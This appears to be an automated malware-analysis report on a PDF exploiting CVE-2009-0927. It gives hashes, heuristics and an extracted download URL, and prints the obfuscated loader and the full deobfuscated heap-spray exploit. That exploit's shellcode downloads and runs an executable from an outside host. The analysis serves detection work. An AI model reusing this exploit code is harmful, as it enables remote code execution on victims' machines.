Malicious PDF — malware analysis report

Static analysis result for SHA-256 cce4996792ba4324…

MALICIOUS

PDF

1.9 KB First seen: 2026-05-11
MD5: c9e4ab6eac146d062cfb9a1042dfa778 SHA-1: 5388e1e521e6a1a4ca7ade0184bad8df997cdfdd SHA-256: cce4996792ba4324a10be2f318533a8c18fe2f42ea403551e733769bec97d17f
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 JavaScript/JScript T1204.001 Malicious Link/Object

The PDF file contains embedded JavaScript that utilizes the 'Collab.getIcon' method, a known indicator for the CVE-2009-0927 vulnerability. The JavaScript is obfuscated using 'eval()' and 'unescape()', and it also uses 'String.fromCharCode()' to construct parts of its code. This technique is commonly used to download and execute further malicious content. The presence of these indicators strongly suggests an exploit attempt targeting this specific CVE.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 7

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    /*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://infotraff.com/w2/l.php?i=6 Referenced by PDF JavaScript

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj111611_000.js pdf-javascript-stream PDF /JS object 111611 at offset 0x6C9 297 bytes
SHA-256: 433d6141b5fc932a52d94051061c1f7566cbde37bb51ce636d76e20ed4ab2bf6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/eval(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/unescape(/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/this.subject.replace(/Y/g,String.fromCharCode(40-3)).replace(/R/g,'F')/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/)/*gfnnjRdf5FG <PofGDGDUJ5DF> Heukdfgplas*/);
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x189 2631 bytes
SHA-256: f59d7325b1a80c78b48d58fb21b44d9c0af4d8fe713bb9dd3dde47b89e4ae62b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var arry = new Array();function fix_it(yarsp, len){while (yarsp.length * 2 < len){yarsp += yarsp;}yarsp = yarsp.substring(0, len / 2);return yarsp;}if (app.doc.Collab.getIcon){var payload = unescape("%u5350%u5251%u5756%u9c55%u00e8%u0000%u5d00%ued83%u310d%u64c0%u4003%u7830%u8b0c%u0c40%u708b%uad1c%u408b%ueb08%u8b09%u3440%u408d%u8b7c%u3c40%u5756%u5ebe%u0001%u0100%ubfee%u014e%u0000%uef01%ud6e8%u0001%u5f00%u895e%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u0263%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%u78c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u8900%u81ea%u5ec2%u0001%u5200%u8068%u0000%uff00%u4e95%u0001%u8900%u81ea%u5ec2%u0001%u3100%u01f6%u8ac2%u359c%u026e%u0000%ufb80%u7400%u8806%u321c%ueb46%uc6ee%u3204%u8900%u81ea%u45c2%u0002%u5200%u95ff%u0152%u0000%uea89%uc281%u0250%u0000%u5052%u95ff%u0156%u0000%u006a%u006a%uea89%uc281%u015e%u0000%u8952%u81ea%ua6c2%u0002%u5200%u006a%ud0ff%u056a%uea89%uc281%u015e%u0000%uff52%u5a95%u0001%u9d00%u5f5d%u5a5e%u5b59%uc358%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u6547%u5474%u6d65%u5070%u7461%u4168%u4c00%u616f%u4c64%u6269%u6172%u7972%u0041%u6547%u5074%u6f72%u4163%u6464%u6572%u7373%u5700%u6e69%u7845%u6365%ubb00%uf289%uf789%uc030%u75ae%u29fd%u89f7%u31f9%ubec0%u003c%u0000%ub503%u021b%u0000%uad66%u8503%u021b%u0000%u708b%u8378%u1cc6%ub503%u021b%u0000%ubd8d%u021f%u0000%u03ad%u1b85%u0002%uab00%u03ad%u1b85%u0002%u5000%uadab%u8503%u021b%u0000%u5eab%udb31%u56ad%u8503%u021b%u0000%uc689%ud789%ufc51%ua6f3%u7459%u5e04%ueb43%u5ee9%ud193%u03e0%u2785%u0002%u3100%u96f6%uad66%ue0c1%u0302%u1f85%u0002%u8900%uadc6%u8503%u021b%u0000%uebc3%u0010%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u8900%u1b85%u0002%u5600%ue857%uff58%uffff%u5e5f%u01ab%u80ce%ubb3e%u0274%uedeb%u55c3%u4c52%u4f4d%u2e4e%u4c44%u004c%u5255%u444c%u776f%u6c6e%u616f%u5464%u466f%u6c69%u4165%u7000%u6664%u7075%u2e64%u7865%u0065%u7263%u7361%u2e68%u6870%u0070%u7468%u7074%u2f3a%u692f%u666e%u746f%u6172%u6666%u632e%u6d6f%u772f%u2f32%u2e6c%u6870%u3f70%u3d69%u0036%u9000");var hWq500CN = payload.length * 2;var len = 0x400000 - (hWq500CN + 0x38);var yarsp = unescape("%u9090%u9090");yarsp = fix_it(yarsp, len);var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000;for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){arry[vqcQD96y] = yarsp + payload;}var tUMhNbGw = unescape("	");while (tUMhNbGw.length < 0x4000){tUMhNbGw += tUMhNbGw;}tUMhNbGw = "N." + tUMhNbGw;app.doc.Collab.getIcon(tUMhNbGw);}

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